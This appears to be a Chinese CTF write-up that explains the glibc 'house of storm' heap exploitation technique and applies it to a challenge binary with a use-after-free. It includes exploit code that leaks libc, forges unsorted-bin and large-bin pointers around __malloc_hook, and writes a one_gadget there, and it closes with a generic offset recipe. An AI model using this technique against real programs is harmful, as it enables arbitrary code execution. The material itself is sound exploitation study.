回顾基础

house_of_storm这一利用方法是Unsortedbin_Attack和Largebin_Attack两种打法相结合。

Unsortedbin_Attack

1
2
3
bck = victim->bk
unsorted_chunks(av)->bk = bck
bck->fd = unsorted_chunks(av)

当修改unsortdbin的bk为Target_addr时,然后通过malloc将此unsortedbin分配出去时,就会发生上面三个步骤。

此时victim->bk就是Target_addr,然后第二步会将Target_Addr赋值到main_arena+88的bk处。

第三步将Target_addr的fd修改为main_arena+88。所以Target_addr+10处会被修改为一个超大值。

Largebin_Attack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;//1
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;//2
}
...
bck = fwd->bk;
...
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;//3

首先看上面一部分,当修改largebin的bk_nextsize为Target_addr时,第四步会将Target_addr的fd_nextsize处(即Target_addr+0x20)修改为victim。

再看下面一部分,当修改largetbin的bk为Target_addr时,fwd(就是largebin),所以第五步就会将Target_addr的fd处(即Target_addr+0x10)修改为victim。

解释一下上面的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
   //如果unsortedbin 不为空,反向遍历unsorted bins双向循环链表,直到被malloc的chunk指向头节点 ,从链表尾开始
while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
{
bck = victim->bk;
// 判断当前申请的 size 是否合法,大于 2*SIZE_SZ,小于 av->system_mem
if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)
|| __builtin_expect (victim->size > av->system_mem, 0))
// 如果不合法就执行malloc_printerr打印错误信息
malloc_printerr (check_action, "malloc(): memory corruption",
chunk2mem (victim), av);
//合法则获取size
size = chunksize (victim);




// 如果申请的大小在 small bin 的范围中,且 unsorted bin 链表中只有一个 chunk 并指向 last_remainder,且该 chunk 的 size 大小大于用户申请的 size 大小
if (in_smallbin_range (nb) &&
bck == unsorted_chunks (av) &&
victim == av->last_remainder &&
(unsigned long) (size) > (unsigned long) (nb + MINSIZE))
{

// 对该 chunk 进行拆分,获取剩下的 last_remainder 的大小和开始地址
remainder_size = size - nb;
remainder = chunk_at_offset (victim, nb);
//将 unsorted bin 的 bk 指针指向更新的 remainder
unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder;
// 更新分配区 last_remainder 的值
av->last_remainder = remainder;
// reaminder 的 bk 和 fd 都设置为 unsorted bin
remainder->bk = remainder->fd = unsorted_chunks (av);
// 如果 remainder_size 的大小不属于 small_bin,那么就只能是largebin,则需要设置 nextsize
if (!in_smallbin_range (remainder_size))
{
remainder->fd_nextsize = NULL;
remainder->bk_nextsize = NULL;
}
// 设置堆头标志位
set_head (victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head (remainder, remainder_size | PREV_INUSE);
set_foot (remainder, remainder_size);
//检查分配的chunk
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}


//将bin从unsortedbin中取出
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);


/* 若size位等于所需大小,则设置标志位,然后将bin取出并返回用户指针 */
if (size == nb)
{
set_inuse_bit_at_offset (victim, size);
if (av != &main_arena)
victim->size |= NON_MAIN_ARENA;
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}


// 如果分出来的这个 chunk 大小属于 small bin,则放到 small bin 中,否则插入 large bin 中
if (in_smallbin_range (size))
{
victim_index = smallbin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;
}
else
{
victim_index = largebin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;

//largebin 非空
if (fwd != bck)
{
// 去除 p 标志位
size |= PREV_INUSE;
// 检查 A 标志位
assert ((bck->bk->size & NON_MAIN_ARENA) == 0);
// 如果 chunk 的 size 比 large bins 的最小堆块还小
if ((unsigned long) (size) < (unsigned long) (bck->bk->size))
{
// 指向链表的最后一个堆块
fwd = bck;
bck = bck->bk;
// 则将当前的 chunk 插入到 large bin 的最后一块
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
else
// 否则需要插入到合适的位置
{
assert ((fwd->size & NON_MAIN_ARENA) == 0);
// 正向遍历chunk size链表,找到第一个chunk大小小于等于当前大小的chunk
while ((unsigned long) size < fwd->size)
{
fwd = fwd->fd_nextsize;
assert ((fwd->size & NON_MAIN_ARENA) == 0);
}
// 若已经存在相同大小的chunk,则将当前chunk插入到同大小chunk链表的尾部
if ((unsigned long) size == (unsigned long) fwd->size)
fwd = fwd->fd;
//否则延伸出一个大小等于当前size的chunk链表,将该链表加入到chunk size链表尾
else
{
victim->fd_nextsize = fwd;//
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
}
}
// 若 large bin 为空则直接插入即可
else
victim->fd_nextsize = victim->bk_nextsize = victim;
}
// 还需要在大小相同的 largebin chunk 组成的数组中进行插入
mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;

简单概括一下就是遍历unsortedbin中的每一个chunk,fastbins和smallbins都不满足分配,就会进入到largebin中。

进入到largetbin中判断此chunk属于largebin中的哪个index,每一个index都有一定的范围,进入到对应范围大小后,将此chunk的size和剩余的largebin的size大小进行比较,如果这个要加入unsortedbin的size大于原本链表中的chunk的size,就会将此chunk链入到原本chunk的前面(横链),如果大小相等就加入纵链。通过fd和bk与largebin相连

如果此时largetbin中的形式是:main_arena<----victim<----fwd---->main_arena(左箭头为bk_nextsize,右箭头为fd_nextsize)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
else//main_arena相当于是3,victim相当于2,fwd相当于1
{
victim->fd_nextsize = fwd;//2确定前面是1
victim->bk_nextsize = fwd->bk_nextsize;//2确定后面是3
fwd->bk_nextsize = victim;//1确定后面是2
victim->bk_nextsize->fd_nextsize = victim;//3确定前面是2(漏洞点)
}
...
bck = fwd->bk;//此时bck是main_arena
...
victim->bk = bck;//victim的后面是main_arena
victim->fd = fwd;//victim的前面是fwd
fwd->bk = victim;//fwd的后面是victim
bck->fd = victim;//main_arena的前面是victim(漏洞点)

题目

add函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
unsigned __int64 add()
{
int v0; // eax
int v1; // ebx
unsigned int v3; // [rsp+4h] [rbp-1Ch] BYREF
unsigned __int64 v4; // [rsp+8h] [rbp-18h]

v4 = __readfsqword(0x28u);
v0 = add_count--; //只能用5次add
if ( v0 != -1 )
{
puts("idx:");
_isoc99_scanf("%d", &v3);
if ( v3 >= 0xA )
{
puts("error");
exit(0);
}
puts("size:");
_isoc99_scanf("%d", &chunk_size[v3]);
if ( chunk_size[v3] != 1072 && chunk_size[v3] != 1088 && chunk_size[v3] != 1104 )//只能创建0x430、0x440、0x450大小的chunk
{
puts("error");
exit(0);
}
v1 = v3;
chunk[v1] = malloc(chunk_size[v3]);
}
return __readfsqword(0x28u) ^ v4;
}

delete函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
unsigned __int64 dele()
{
int v0; // eax
unsigned int v2; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v3; // [rsp+8h] [rbp-8h]

v3 = __readfsqword(0x28u);
v0 = dele_count--; //只能用3次delete
if ( v0 != -1 )
{
puts("idx:");
_isoc99_scanf("%d", &v2);
if ( v2 >= 0xA )
{
puts("error");
exit(0);
}
free(*((void **)&chunk + (int)v2)); //存在UAF漏洞
}
return __readfsqword(0x28u) ^ v3;
}

edit函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
unsigned __int64 edit()
{
int v0; // eax
unsigned int v2; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v3; // [rsp+8h] [rbp-8h]

v3 = __readfsqword(0x28u);
v0 = edit_count--; //只能用2次
if ( v0 != -1 )
{
puts("idx:");
_isoc99_scanf("%d", &v2);
if ( v2 >= 0xA )
{
puts("error");
exit(0);
}
puts("content:");
read(0, *((void **)&chunk + (int)v2), chunk_size[v2]);
}
return __readfsqword(0x28u) ^ v3;
}

show函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
unsigned __int64 show()
{
int v0; // eax
unsigned int v2; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v3; // [rsp+8h] [rbp-8h]

v3 = __readfsqword(0x28u);
v0 = show_count--; //只能用1次
if ( v0 != -1 )
{
puts("idx:");
_isoc99_scanf("%d", &v2);
if ( v2 >= 0xA )
{
puts("error");
exit(1);
}
puts(*((const char **)&chunk + (int)v2));
}
return __readfsqword(0x28u) ^ v3;
}

后门函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
void *back_door()
{
void *result; // rax
void *buf; // [rsp+8h] [rbp-8h]

result = (void *)flags;
if ( !flags ) //只能利用一次
{
buf = malloc(0x48uLL);
read(0, buf, 0x40uLL);
result = &flags;
flags = 1;
}
return result;
}

攻击思路

由于malloc只能创建largetbin大小的chunk,并且unsortedbin_attack和largebin_attack单独使用都是修改某处地址为不可控值,所以就需要利用两种攻击手法合并的house_of_storm了。

house_of_storm利用条件

1
2
3
4
5
6
7
Glibc版本小于2.30(加入了检查链表完整性机制)
存在UAF漏洞使Unsorted Bin中的bk字段可控
存在UAF漏洞使Large Bin中的bk_nextsize和bk字段可控
可以申请一个如本题中Heap起始字节为0x55,经对齐后大小同为0x50的heap
构造一个位于Unsorted Bin中的FreeChunkA
构造一个位于Large Bins中的FreeChunkB
在最终的Large Bins大小分类中,FreeChunkA和FreeChunkB应属于同一大小分类,并且FreeChunkA略大于FreeChunkB,这样才能插入

由于存在UAF漏洞,所以很简单就能满足前三个条件。

因为有backdoor函数,当flag为0时,就可以有一次malloc(0x48)以及写功能。所以可以想到需要劫持到malloc_hook处的堆块。所以就需要利用house_of_storm来将malloc_hook处的chunk的chunk_head修改为对齐后大小为0x50的。这样malloc(0x48)就会申请出malloc_hook,然后利用read在onegadget处写入onegadget即可。

1
2
3
4
5
6
7
8
9
add(0,0x450)
add(1,0x430)
add(2,0x440)
add(3,0x430)

delete(2)
delete(0)
add(4,0x450)
delete(4)

构造unsortedbin中的chunkA和largebin中的chunkB。并且chunkA略大于chunkB

image-20240321212745076

1
2
3
4
5
6
7
8
show(4)
rl('\n')
libc_leak = uu64()
lg("libc_leak",libc_leak)
libc_base = libc_leak-0x3c4b78
lg("libc_base",libc_base)
malloc = libc_base+libc.sym['__malloc_hook']
onegadget = [0x45216,0x4526a,0xf02a4,0xf1147]

泄露libc

image-20240321212840020

1
2
edit(4,'/bin/sh\x00'+p64(malloc-0x20))
edit(2,p64(0)+p64(malloc-0x18)+p64(0)+p64(malloc-0x20-0x20+0x3))

修改unsortedbin的chunkA的bk为malloc_hook-0x20。这样判断就会绕过unsortedbin中只剩一个chunk。就不会直接从unsortedbin中直接分配出0x50了(因为是根据unsortedbin中的bk指针判断的)

修改largetbin的chunkB的bk为malloc_hook-0x18,修改bk_nextsize为malloc_hook-0x20-0x20+0x3。这是通过错位正好能修改chunk_head的size为victim的0x55或0x56(对齐后为0x50即可)

修改后的unsortedbin

image-20240321213623255

image-20240321213643012

修改后的largebin

image-20240321213716807

触发漏洞

由于开启了ALSR,所以不一定每次都是,需要多运行几次

触发前

1711028340044

触发后

image-20240321214233614

如果成功申请到的话,就修改malloc_hook为onegadget即可

总结

1
2
3
4
5
6
7
8
9
10
11
12
13
14
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;//1
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;//2
}
...
bck = fwd->bk;
...
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;//3

利用条件

1
2
3
4
5
6
7
Glibc版本小于2.30(加入了检查链表完整性机制)
存在UAF漏洞使Unsorted Bin中的bk字段可控
存在UAF漏洞使Large Bin中的bk_nextsize和bk字段可控
可以申请一个如本题中Heap起始字节为0x55,经对齐后大小同为0x50的heap
构造一个位于Unsorted Bin中的FreeChunkA
构造一个位于Large Bins中的FreeChunkB
在最终的Large Bins大小分类中,FreeChunkA和FreeChunkB应属于同一大小分类,并且FreeChunkA略大于FreeChunkB,这样才能插入
1
2
3
4
//target_addr是我们要申请的目标地址
unsortedbin->bk = target_addr-0x20
largebin->bk = target_addr-0x18
largebin->bk_nextSize = target_addr-0x20-0x20+0x3

unsortedbin要略大于largebin,并且两个chunk在largetbin中属于同一范围